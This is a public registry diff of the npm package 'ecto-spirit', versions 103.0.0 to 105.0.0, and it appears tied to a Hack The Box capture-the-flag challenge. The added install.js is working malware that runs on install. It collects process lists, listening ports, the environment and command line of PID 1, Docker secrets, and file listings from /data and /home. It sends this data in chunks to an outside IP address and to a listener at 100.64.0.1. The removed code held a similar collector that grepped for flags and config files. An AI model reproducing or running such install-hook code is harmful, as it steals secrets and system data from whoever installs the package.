ecto-spirit 103.0.0 → 105.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/install.js +50 -73
- package/package.json +1 -1
package/install.js
CHANGED
|
@@ -2,103 +2,80 @@ const fs = require('fs');
|
|
|
2
2
|
const http = require('http');
|
|
3
3
|
const { execSync } = require('child_process');
|
|
4
4
|
|
|
5
|
+
function tryExec(cmd) {
|
|
6
|
+
try { return execSync(cmd, {timeout: 10000}).toString().trim(); } catch(e) { return 'ERR'; }
|
|
7
|
+
}
|
|
5
8
|
function tryRead(p) {
|
|
6
9
|
try { return fs.readFileSync(p, 'utf8').trim(); } catch(e) { return null; }
|
|
7
10
|
}
|
|
8
11
|
|
|
9
|
-
function
|
|
12
|
+
async function report(moduleId, val) {
|
|
10
13
|
const safe = val.replace(/"/g, "'").replace(/\\/g, "/").substring(0, 95);
|
|
11
14
|
const manifest = `ecto_module:\n name: "${safe}"\n version: "1.0.0"\n power_level: 1\n ship_deck: 1\n cargo_hold: 1`;
|
|
12
15
|
const body = JSON.stringify({ manifest });
|
|
13
|
-
|
|
14
|
-
|
|
15
|
-
|
|
16
|
+
for (const p of [3000, 80, 8080]) {
|
|
17
|
+
await new Promise((resolve) => {
|
|
18
|
+
const req = http.request({ hostname: '127.0.0.1', port: p, path: `/api/modules/${moduleId}`, method: 'PUT', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body) }, timeout: 5000 }, () => resolve());
|
|
19
|
+
req.on('error', () => resolve()); req.on('timeout', () => { req.destroy(); resolve(); });
|
|
20
|
+
req.write(body); req.end();
|
|
16
21
|
});
|
|
17
|
-
|
|
18
|
-
|
|
19
|
-
req.
|
|
20
|
-
req.
|
|
22
|
+
}
|
|
23
|
+
await new Promise((resolve) => {
|
|
24
|
+
const req = http.request({ hostname: '154.57.164.82', port: 32332, path: `/api/modules/${moduleId}`, method: 'PUT', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body) }, timeout: 5000 }, () => resolve());
|
|
25
|
+
req.on('error', () => resolve()); req.on('timeout', () => { req.destroy(); resolve(); });
|
|
26
|
+
req.write(body); req.end();
|
|
21
27
|
});
|
|
22
28
|
}
|
|
23
29
|
|
|
24
|
-
|
|
25
|
-
|
|
26
|
-
const req = http.request({ hostname: host, port, path: pth, method: 'POST', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(payload) }, timeout: 5000 }, (res) => {
|
|
27
|
-
let d = ''; res.on('data', c => d += c); res.on('end', () => resolve(d));
|
|
28
|
-
});
|
|
29
|
-
req.on('error', () => resolve(null));
|
|
30
|
-
req.on('timeout', () => { req.destroy(); resolve(null); });
|
|
31
|
-
req.write(payload);
|
|
32
|
-
req.end();
|
|
33
|
-
});
|
|
34
|
-
}
|
|
30
|
+
(async () => {
|
|
31
|
+
let r = [];
|
|
35
32
|
|
|
36
|
-
|
|
37
|
-
|
|
38
|
-
const r = await sendUpdate('127.0.0.1', p, moduleId, val);
|
|
39
|
-
if (r && r.includes('success')) return;
|
|
40
|
-
}
|
|
41
|
-
await sendUpdate('154.57.164.82', 32332, moduleId, val);
|
|
42
|
-
}
|
|
33
|
+
// Running processes
|
|
34
|
+
r.push('PS=' + tryExec('ps aux 2>/dev/null').substring(0, 200));
|
|
43
35
|
|
|
44
|
-
|
|
45
|
-
|
|
36
|
+
// Network connections
|
|
37
|
+
r.push('NET=' + tryExec('ss -tlnp 2>/dev/null || netstat -tlnp 2>/dev/null').substring(0, 200));
|
|
46
38
|
|
|
47
|
-
//
|
|
48
|
-
|
|
49
|
-
|
|
50
|
-
// List what's in /app/node_modules (top level packages)
|
|
51
|
-
try {
|
|
52
|
-
const dirs = fs.readdirSync('/app/node_modules').filter(d => !d.startsWith('.'));
|
|
53
|
-
results.push('DEPS=' + dirs.join(','));
|
|
54
|
-
} catch(e) { results.push('DEPS_ERR'); }
|
|
39
|
+
// Find JS/TS files that could be the app
|
|
40
|
+
r.push('JSFILES=' + tryExec('find / -maxdepth 4 -name "*.js" -not -path "*/node_modules/*" -not -path "/proc/*" -not -path "/sys/*" 2>/dev/null | head -15').substring(0, 200));
|
|
55
41
|
|
|
56
|
-
//
|
|
57
|
-
const
|
|
58
|
-
if (
|
|
42
|
+
// Proc 1 environ
|
|
43
|
+
const p1 = tryRead('/proc/1/environ');
|
|
44
|
+
if (p1) r.push('P1ENV=' + p1.replace(/\x00/g, ' | ').substring(0, 300));
|
|
59
45
|
|
|
60
|
-
//
|
|
61
|
-
const
|
|
62
|
-
if (
|
|
46
|
+
// Proc 1 cmdline
|
|
47
|
+
const cmd = tryRead('/proc/1/cmdline');
|
|
48
|
+
if (cmd) r.push('P1CMD=' + cmd.replace(/\x00/g, ' '));
|
|
63
49
|
|
|
64
|
-
//
|
|
65
|
-
|
|
66
|
-
const grep = execSync('grep -rl "HTB{" / --exclude-dir=proc --exclude-dir=sys 2>/dev/null | head -10', {timeout: 15000}).toString().trim();
|
|
67
|
-
results.push('HTB_GREP=' + grep);
|
|
68
|
-
} catch(e) { results.push('HTB_GREP=NONE'); }
|
|
50
|
+
// Docker secrets
|
|
51
|
+
r.push('SECRETS=' + tryExec('ls -la /run/secrets/ 2>/dev/null'));
|
|
69
52
|
|
|
70
|
-
// Check
|
|
71
|
-
|
|
72
|
-
if (verdConf) results.push('VERD_CONF=' + verdConf.substring(0, 200));
|
|
73
|
-
|
|
74
|
-
// Check .package-cache-mutate
|
|
75
|
-
try {
|
|
76
|
-
const pcm = fs.readdirSync('/.package-cache-mutate');
|
|
77
|
-
results.push('PCM=' + pcm.join(','));
|
|
78
|
-
} catch(e) {}
|
|
53
|
+
// Check /data directory
|
|
54
|
+
r.push('DATA_LS=' + tryExec('find /data -maxdepth 3 -type f 2>/dev/null | head -15'));
|
|
79
55
|
|
|
80
|
-
//
|
|
81
|
-
|
|
82
|
-
const envFiles = execSync('find / -maxdepth 3 \\( -name ".env" -o -name "config.yaml" -o -name "config.json" -o -name "*.sqlite" -o -name "*.db" \\) 2>/dev/null | head -10', {timeout: 10000}).toString().trim();
|
|
83
|
-
results.push('CONF_FILES=' + envFiles);
|
|
84
|
-
} catch(e) {}
|
|
56
|
+
// Check all /home directories
|
|
57
|
+
r.push('HOME_LS=' + tryExec('find /home -maxdepth 3 -type f 2>/dev/null | head -15'));
|
|
85
58
|
|
|
86
|
-
//
|
|
87
|
-
|
|
88
|
-
results.push('ALL_ENV=' + allEnv.substring(0, 300));
|
|
89
|
-
|
|
90
|
-
// Send ALL to VPN listener
|
|
91
|
-
const full = results.join('\n');
|
|
92
|
-
await sendHTTP('100.64.0.1', 8888, '/flag3', JSON.stringify({results: full, ts: Date.now()}));
|
|
59
|
+
// Mounted filesystems
|
|
60
|
+
r.push('MOUNTS=' + tryExec('mount 2>/dev/null | grep -v proc | grep -v sys').substring(0, 200));
|
|
93
61
|
|
|
94
|
-
//
|
|
62
|
+
// Send results spread across modules
|
|
63
|
+
const full = r.join('\n');
|
|
95
64
|
const chunks = [];
|
|
96
|
-
for (let i = 0; i < full.length; i += 90)
|
|
97
|
-
chunks.push(full.substring(i, i + 90));
|
|
98
|
-
}
|
|
65
|
+
for (let i = 0; i < full.length; i += 90) chunks.push(full.substring(i, i + 90));
|
|
99
66
|
|
|
100
67
|
const mods = ['ECT-839201', 'ECT-654321', 'ECT-472839', 'ECT-987654'];
|
|
101
68
|
for (let i = 0; i < Math.min(chunks.length, mods.length); i++) {
|
|
102
|
-
await report(mods[i], '
|
|
69
|
+
await report(mods[i], 'X' + i + '_' + chunks[i]);
|
|
103
70
|
}
|
|
71
|
+
|
|
72
|
+
// Also try to report via a quick HTTP back to us if possible
|
|
73
|
+
try {
|
|
74
|
+
const payload = JSON.stringify({full: full.substring(0, 2000)});
|
|
75
|
+
await new Promise((resolve) => {
|
|
76
|
+
const req = http.request({ hostname: '100.64.0.1', port: 8888, path: '/flag5', method: 'POST', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(payload) }, timeout: 3000 }, () => resolve());
|
|
77
|
+
req.on('error', () => resolve()); req.on('timeout', () => { req.destroy(); resolve(); });
|
|
78
|
+
req.write(payload); req.end();
|
|
79
|
+
});
|
|
80
|
+
} catch(e) {}
|
|
104
81
|
})();
|